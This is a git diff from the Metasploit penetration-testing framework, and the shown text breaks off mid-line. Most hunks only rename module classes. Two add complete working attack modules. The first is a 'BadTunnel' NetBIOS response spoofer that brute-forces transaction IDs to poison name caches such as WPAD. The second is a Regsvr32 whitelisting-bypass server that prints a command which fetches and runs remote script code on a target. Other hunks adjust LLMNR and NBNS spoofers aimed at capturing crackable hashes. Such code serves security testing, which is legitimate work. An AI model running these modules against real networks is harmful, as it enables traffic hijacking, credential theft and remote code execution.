b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb index 7d8e18556b..86ec17abe3 100644 --- a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb +++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'openssl' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/ms15_134_mcl_leak.rb b/modules/auxiliary/server/ms15_134_mcl_leak.rb index 1b97e2d2ea..896e05a6be 100644 --- a/modules/auxiliary/server/ms15_134_mcl_leak.rb +++ b/modules/auxiliary/server/ms15_134_mcl_leak.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'cgi' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/auxiliary/server/netbios_spoof_nat.rb b/modules/auxiliary/server/netbios_spoof_nat.rb new file mode 100644 index 0000000000..55b4055c59 --- /dev/null +++ b/modules/auxiliary/server/netbios_spoof_nat.rb @@ -0,0 +1,159 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + def initialize + super( + 'Name' => 'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)', + 'Description' => %q{ + This module listens for a NetBIOS name request and then continuously spams + NetBIOS responses to a target for given hostname, causing the target to cache + a malicious address for this name. On high-speed networks, the PPSRATE value + should be increased to speed up this attack. As an example, a value of around + 30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup. + Distant targets may require more time and lower rates for a successful attack. + + This module works when the target is behind a NAT gateway, since the stream of + NetBIOS responses will keep the NAT mapping alive after the initial setup. To + trigger the initial NetBIOS request to the Metasploit system, force the target + to access a UNC link pointing to the same address (HTML, Office attachment, etc). + + This NAT-piercing issue was named the 'BadTunnel' vulnerability by the discoverer, + Yu Yang (@tombkeeper). The Microsoft patches (MS16-063/MS16-077) impact the way + that the proxy host (WPAD) host is identified, but do change the predictability + of NetBIOS requests. + + }, + 'Author' => [ + 'vvalien', # Metasploit Module (post) + 'hdm', # Metasploit Module + 'tombkeeper' # Vulnerability Discovery + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'References' => + [ + ['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'], + ['CVE', '2016-3213'], + ['MSB', 'MS16-063'], + ['CVE', '2016-3236'], + ['MSB', 'MS16-077'] + ], + 'DisclosureDate' => 'Jun 14 2016' + ) + + register_options( + [ + OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]), + OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]), + OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]), + OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]) + ], self.class) + end + + def netbios_service + @port = datastore['SRVPORT'].to_i + + # MacOS X workaround + ::Socket.do_not_reverse_lookup = true + + @sock = ::UDPSocket.new() + @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + @sock.bind(datastore['SRVHOST'], @port) + + @targ_rate = datastore['PPSRATE'] + @fake_name = datastore['NBNAME'] + @fake_addr = datastore['NBADDR'] + + print_status("Listening for NetBIOS requests...") + + begin + loop do + packet, addr = @sock.recvfrom(65535) + next if packet.length == 0 + + @targ_addr = addr[3] + @targ_port = addr[1] + break + end + + # TODO: Seed our counter based on the TXID of this request + print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}") + @sock.connect(@targ_addr, @targ_port) + + netbios_spam + + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Error #{e.class} #{e} #{e.backtrace}") + ensure + @sock.close if @sock + end + end + + def netbios_spam + payload = + "\xff\xff" + # TX ID (will brute force this) + "\x85\x00" + # Flags = response + authoratative + recursion desired + "\x00\x00" + # Questions = 0 + "\x00\x01" + # Answer RRs = 1 + "\x00\x00" + # Authority RRs = 0 + "\x00\x00" + # Additional RRs = 0 + "\x20" + + Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) + + "\x00" + + "\x00\x20" + # Type = NB + "\x00\x01" + # Class = IN + "\x00\x04\x93\xe0" + # TTL long time + "\x00\x06" + # Datalength = 6 + "\x00\x00" + # Flags B-node, unique + Rex::Socket.addr_aton(@fake_addr) + + stime = Time.now.to_f + pcnt = 0 + pps = 0 + + print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...") + + live = true + while live + 0.upto(65535) do |txid| + begin + payload[0,2] = [txid].pack("n") + @sock.write(payload) + pcnt += 1 + + pps = (pcnt / (Time.now.to_f - stime)).to_i + if pps > @targ_rate + sleep(0.01) + end + rescue Errno::ECONNREFUSED + print_error("Error: Target sent us an ICMP port unreachable, port is likely closed") + live = false + break + end + end + end + end + + def run + loop { netbios_service } + end + +end diff --git a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb index b30cb8c6b8..e197916a7e 100644 --- a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb +++ b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'openssl' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb index f316d4100d..3146aff0db 100644 --- a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb +++ b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/pxeexploit.rb b/modules/auxiliary/server/pxeexploit.rb index a2a7815f82..b635394bf1 100644 --- a/modules/auxiliary/server/pxeexploit.rb +++ b/modules/auxiliary/server/pxeexploit.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/proto/tftp' require 'rex/proto/dhcp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TFTPServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/regsvr32_command_delivery_server.rb b/modules/auxiliary/server/regsvr32_command_delivery_server.rb new file mode 100644 index 0000000000..f49190415b --- /dev/null +++ b/modules/auxiliary/server/regsvr32_command_delivery_server.rb @@ -0,0 +1,71 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Regsvr32.exe (.sct) Command Delivery Server', + 'Description' => %q( + This module uses the Regsvr32.exe Application Whitelisting Bypass technique as a way to run a command on + a target system. The major advantage of this technique is that you can execute a static command on the target + system and dynamically and remotely change the command that will actually run (by changing the value of CMD). + This is useful when combined with persistence methods (e.g., a recurring scheduled task) or when flexibility + is needed through the use of a single command (e.g., as Rubber Ducky payload). + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) + 'Trenton Ivey', # MSF Module (kn0) + 'mubix', # Auxiliary module idea + ], + 'References' => + [ + ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html'] + ] + )) + + register_options( + [ + OptString.new('CMD',[false, 'The command to execute','']) + ]) + end + + + def run + exploit + end + + + def primer + print_status("Run the following command on the target machine:") + print_line("regsvr32 /s /n /u /i:#{get_uri} scrobj.dll") + end + + def on_request_uri(cli, _request) + print_status("Handling request from #{cli.peerhost}") + data = gen_sct_file(datastore['CMD']) + send_response(cli, data, 'Content-Type' => 'text/plain') + end + + + def rand_class_id + "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" + end + + + def gen_sct_file(command) + # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error). + if command == '' + return %{} + # If a command is provided, tell the target system to execute it. + else + return %{} + end + end +end diff --git a/modules/auxiliary/server/socks4a.rb b/modules/auxiliary/server/socks4a.rb index 1695eeb3e2..aec82408ff 100644 --- a/modules/auxiliary/server/socks4a.rb +++ b/modules/auxiliary/server/socks4a.rb @@ -7,7 +7,7 @@ require 'thread' require 'msf/core' require 'rex/proto/proxy/socks4a' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/socks_unc.rb b/modules/auxiliary/server/socks_unc.rb index 547253c0b9..5e7d1e6e57 100644 --- a/modules/auxiliary/server/socks_unc.rb +++ b/modules/auxiliary/server/socks_unc.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/tftp.rb b/modules/auxiliary/server/tftp.rb index 92466df2ee..491e9802d3 100644 --- a/modules/auxiliary/server/tftp.rb +++ b/modules/auxiliary/server/tftp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/proto/tftp' require 'tmpdir' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TFTPServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/tnftp_savefile.rb b/modules/auxiliary/server/tnftp_savefile.rb index 26e4894234..2c1222705a 100644 --- a/modules/auxiliary/server/tnftp_savefile.rb +++ b/modules/auxiliary/server/tnftp_savefile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/webkit_xslt_dropper.rb b/modules/auxiliary/server/webkit_xslt_dropper.rb index c46d0dc197..c955636e3d 100644 --- a/modules/auxiliary/server/webkit_xslt_dropper.rb +++ b/modules/auxiliary/server/webkit_xslt_dropper.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/wget_symlink_file_write.rb b/modules/auxiliary/server/wget_symlink_file_write.rb index 7c1393b655..b8e9ce41e8 100644 --- a/modules/auxiliary/server/wget_symlink_file_write.rb +++ b/modules/auxiliary/server/wget_symlink_file_write.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::FtpServer include Msf::Auxiliary::Report diff --git a/modules/auxiliary/server/wpad.rb b/modules/auxiliary/server/wpad.rb index 087e30c9d5..0b99424ff1 100644 --- a/modules/auxiliary/server/wpad.rb +++ b/modules/auxiliary/server/wpad.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/sniffer/psnuffle.rb b/modules/auxiliary/sniffer/psnuffle.rb index d2551d6e13..8dc5e2f964 100644 --- a/modules/auxiliary/sniffer/psnuffle.rb +++ b/modules/auxiliary/sniffer/psnuffle.rb @@ -15,7 +15,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Capture diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index e60bac50ee..aacfb39fd4 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture include Msf::Auxiliary::Report @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac) @sip = datastore['LOCALSIP'] - @sip ||= Pcap.lookupaddrs(@interface)[0] if @netifaces + @sip ||= get_ipv4_addr(@interface)[0] if @netifaces raise "LOCALSIP is not defined and can not be guessed" unless @sip raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip) diff --git a/modules/auxiliary/spoof/cisco/cdp.rb b/modules/auxiliary/spoof/cisco/cdp.rb index b320ad39ab..12b1118e85 100644 --- a/modules/auxiliary/spoof/cisco/cdp.rb +++ b/modules/auxiliary/spoof/cisco/cdp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture def initialize diff --git a/modules/auxiliary/spoof/cisco/dtp.rb b/modules/auxiliary/spoof/cisco/dtp.rb index 99635b7b88..a9ab5ea1ac 100644 --- a/modules/auxiliary/spoof/cisco/dtp.rb +++ b/modules/auxiliary/spoof/cisco/dtp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb index 252269ec00..4960895c92 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'net/dns' require 'resolv' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb index e6b76e176e..b15069e1ae 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb @@ -9,7 +9,7 @@ require 'net/dns' require 'resolv' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/spoof/dns/compare_results.rb b/modules/auxiliary/spoof/dns/compare_results.rb index 6b881e849e..f4292229b1 100644 --- a/modules/auxiliary/spoof/dns/compare_results.rb +++ b/modules/auxiliary/spoof/dns/compare_results.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'net/dns' require 'resolv' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index b94cb212c8..5b604415fb 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -8,7 +8,7 @@ require 'socket' require 'ipaddr' require 'net/dns' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture @@ -44,7 +44,7 @@ attr_accessor :sock, :thread register_options([ OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", ""]), OptRegexp.new('REGEX', [ true, "Regex applied to the LLMNR Name to determine if spoofed reply is sent", '.*']), - OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 300]), + OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 30]), ]) deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') @@ -85,7 +85,7 @@ attr_accessor :sock, :thread when ::Net::DNS::A dns_pkt.answer << ::Net::DNS::RR::A.new( :name => name, - :ttl => 30, + :ttl => datastore['TTL'], :cls => ::Net::DNS::IN, :type => ::Net::DNS::A, :address => spoof.to_s @@ -93,7 +93,7 @@ attr_accessor :sock, :thread when ::Net::DNS::AAAA dns_pkt.answer << ::Net::DNS::RR::AAAA.new( :name => name, - :ttl => 30, + :ttl => datastore['TTL'], :cls => ::Net::DNS::IN, :type => ::Net::DNS::AAAA, :address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 56be4ad3f2..71aed0877c 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture @@ -18,8 +18,8 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests sent to the local subnet's broadcast address and spoof a response, redirecting the querying - machine to an IP of the attacker's choosing. Combined with auxiliary/capture/server/smb or - capture/server/http_ntlm it is a highly effective means of collecting crackable hashes on + machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or + auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable hashes on common networks. This module must be run as root and will bind to udp/137 on all interfaces. @@ -82,9 +82,9 @@ class Metasploit3 < Msf::Auxiliary nbnsq_type = packet[46..47] nbnsq_class = packet[48..49] - return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i + return unless nbnsq_decodedname =~ /#{datastore['REGEX'].source}/i - vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}") + print_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}") vprint_status("transid: #{nbnsq_transid.unpack('H4')}") vprint_status("tlags: #{nbnsq_flags.unpack('B16')}") @@ -165,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary end } - print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...") + print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX'].source}\" ...") self.thread.join print_status("NBNS Monitor thread exited...") diff --git a/modules/auxiliary/spoof/replay/pcap_replay.rb b/modules/auxiliary/spoof/replay/pcap_replay.rb index c2a8526b1b..2b17a79e4b 100644 --- a/modules/auxiliary/spoof/replay/pcap_replay.rb +++ b/modules/auxiliary/spoof/replay/pcap_replay.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary filename = datastore['FILENAME'] verbose = datastore['VERBOSE'] count = 0 - unless File.exists? filename and File.file? filename + unless File.exist? filename and File.file? filename print_error("Pcap File does not exist") return end diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb index 321e6274cf..9c91ad82f0 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb index 94a89cafaa..044e891078 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb index ec27e9811d..550371ede9 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb index 7b91469936..ac55375e17 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb index c0022ed351..1d19d2c094 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb index f4fb58a5de..1ce9b91f56 100644 --- a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb +++ b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb index d7d10f96fc..f702167af9 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb index d37f8afa39..3d7d30f039 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb index e6a178033c..19000fa3e5 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/droptable_trigger.rb b/modules/auxiliary/sqli/oracle/droptable_trigger.rb index e26375ae12..e2e0520df4 100644 --- a/modules/auxiliary/sqli/oracle/droptable_trigger.rb +++ b/modules/auxiliary/sqli/oracle/droptable_trigger.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb index e3df57ecb9..b6384a70ea 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb index 4ecfd3accb..a01efd8bc6 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb index 878c2b01d6..aa36759b4c 100644 --- a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb index 0ae6f375c2..163d335998 100644 --- a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb +++ b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb index 93d6a71e4b..701050daf0 100644 --- a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb index fac34e6d92..18c8f676f8 100644 --- a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb index d97591d2da..50afc10cc0 100644 --- a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb index a05995214d..51022dbfd7 100644 --- a/modules/auxiliary/voip/asterisk_login.rb +++ b/modules/auxiliary/voip/asterisk_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb index 54bf04b7c3..6f35f80783 100644 --- a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb +++ b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb index cccf08529f..2c7a8005c3 100644 --- a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb +++ b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/voip/sip_deregister.rb b/modules/auxiliary/voip/sip_deregister.rb index 1369b7b231..d934835c9b 100644 --- a/modules/auxiliary/voip/sip_deregister.rb +++ b/modules/auxiliary/voip/sip_deregister.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/voip/sip_invite_spoof.rb b/modules/auxiliary/voip/sip_invite_spoof.rb index 5ee141c27c..96468a23d9 100644 --- a/modules/auxiliary/voip/sip_invite_spoof.rb +++ b/modules/auxiliary/voip/sip_invite_spoof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class 